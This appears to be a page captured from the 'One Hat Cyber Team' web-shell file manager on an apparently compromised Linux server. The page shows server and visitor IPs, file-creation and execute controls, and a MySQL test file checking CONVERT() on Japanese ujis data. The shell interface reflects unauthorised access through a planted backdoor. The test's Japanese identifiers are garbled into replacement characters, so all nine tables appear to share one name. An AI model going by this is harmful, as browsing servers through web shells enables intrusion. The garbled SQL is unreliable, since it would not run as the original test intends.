⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
server
/
mysql
/
mysql-test
/
suite
/
jp
/
t
/
View File Name :
jp_convert_ujis.test
--source include/have_sjis.inc --source include/have_ucs2.inc --source include/have_ujis.inc --source include/have_utf8.inc --source include/have_innodb.inc --disable_warnings drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; drop table if exists `�ԣ�`; --enable_warnings # # Test CONVERT() function with Japanese character in ujis encoding # SET NAMES ujis; SET character_set_database = ujis; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = innodb; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = innodb; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = innodb; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = myisam; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = myisam; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = myisam; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = MEMORY; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = MEMORY; CREATE TABLE `�ԣ�` (`�ã�` char(20), INDEX(`�ã�`)) DEFAULT CHARSET = ujis engine = MEMORY; #Load the following data in each table # jisx0201 hankaku-katakana data # jisx0208 data # jisx0212 supplemental character data LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0201_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0208_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0212_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0201_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0208_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0212_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0201_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0208_ujis.dat' INTO TABLE `�ԣ�`; LOAD DATA LOCAL INFILE 'suite/jp/std_data/jisx0212_ujis.dat' INTO TABLE `�ԣ�`; #InnoDB SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; # The result will get garbled because jisx0212 is not included in sjis SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; #MyISAM SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; # The result will get garbled because jisx0212 is not included in sjis SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; #MEMORY SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using utf8) FROM `�ԣ�`; SELECT `�ã�`, CONVERT(`�ã�` using ucs2) FROM `�ԣ�`; # The result will get garbled because jisx0212 is not included in sjis SELECT `�ã�`, CONVERT(`�ã�` using sjis) FROM `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`; drop table `�ԣ�`;